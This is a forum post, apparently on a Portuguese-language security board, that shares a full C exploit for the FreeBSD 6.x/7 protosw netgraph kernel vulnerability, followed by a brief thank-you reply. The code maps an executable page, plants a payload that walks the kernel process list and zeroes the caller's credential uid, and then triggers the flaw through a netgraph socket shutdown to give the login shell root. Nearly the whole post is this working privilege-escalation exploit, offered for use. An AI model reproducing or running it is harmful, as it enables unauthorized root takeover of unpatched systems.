FreeBSD 6x/7 protosw [LOCAL]

[kohx]

Code (INFO) Select Expand


This is a quick and very dirty exploit for the FreeBSD protosw vulnerability
* defined here:
* http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc
*
* This will overwrite your credential structure in the kernel. This will
* affect more than just the exploit's process, which is why this doesn't
* spawn a shell. When the exploit has finished, your login shell should
* have euid=0.


Code (exploit.c) Select Expand


#include <sys/mman.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netgraph/ng_socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

#define PAGES 1
#define PATTERN1 0x8f8f8f8f
#define PATTERN2 0x6e6e6e6e

typedef unsigned long ulong;
typedef unsigned char uchar;

int
x(void)
{
struct proc * p = (struct proc * )PATTERN1;
uint * i;

while(1)
{
if(p->p_pid == PATTERN2)
{
i = (uint * )p->p_ucred;
*++i = 0;
break;
}

p = p->p_list.le_next;
}

return 1;
}

int
main(int argc, char * argv[])
{
ulong addr;
uchar * c;
uchar * d;
uint * i;
void * v;
int pid;
int s;

if(argc != 2)
{
fprintf(stderr, "usage: ./x <allproc>\n");
return 1;
}

addr = strtoul(argv[1], 0, 0);

v = mmap(
NULL,
(PAGES*PAGE_SIZE),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_FIXED,
-1,
0);
if(v == MAP_FAILED)
{
perror("mmap");
return 0;
}

c = v;
d = (uchar * )x;
while(1)
{
*c = *d;
if(*d == 0xc3)
{
break;
}

d++;
c++;
}

*c++ = 0xc3;

c = v;
while(1)
{
if(*(long * )c == PATTERN1)
{
*(c + 0) = addr >>  0;
*(c + 1) = addr >>  8;
*(c + 2) = addr >> 16;
*(c + 3) = addr >> 24;
break;
}
c++;
}

pid = getpid();
while(1)
{
if(*(long * )c == PATTERN2)
{
*(c + 0) = pid >>  0;
*(c + 1) = pid >>  8;
*(c + 2) = pid >> 16;
*(c + 3) = pid >> 24;
break;
}
c++;
}

s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if(s < 0)
{
perror("socket");
return 1;
}

shutdown(s, SHUT_RDWR);

return 0;
}


[S3ijy]

A descrição diz tudo, é mesmo um exploit bem 'sujo', nada sutil!

Mesmo sendo local, é uma boa, vlw por compartilhar!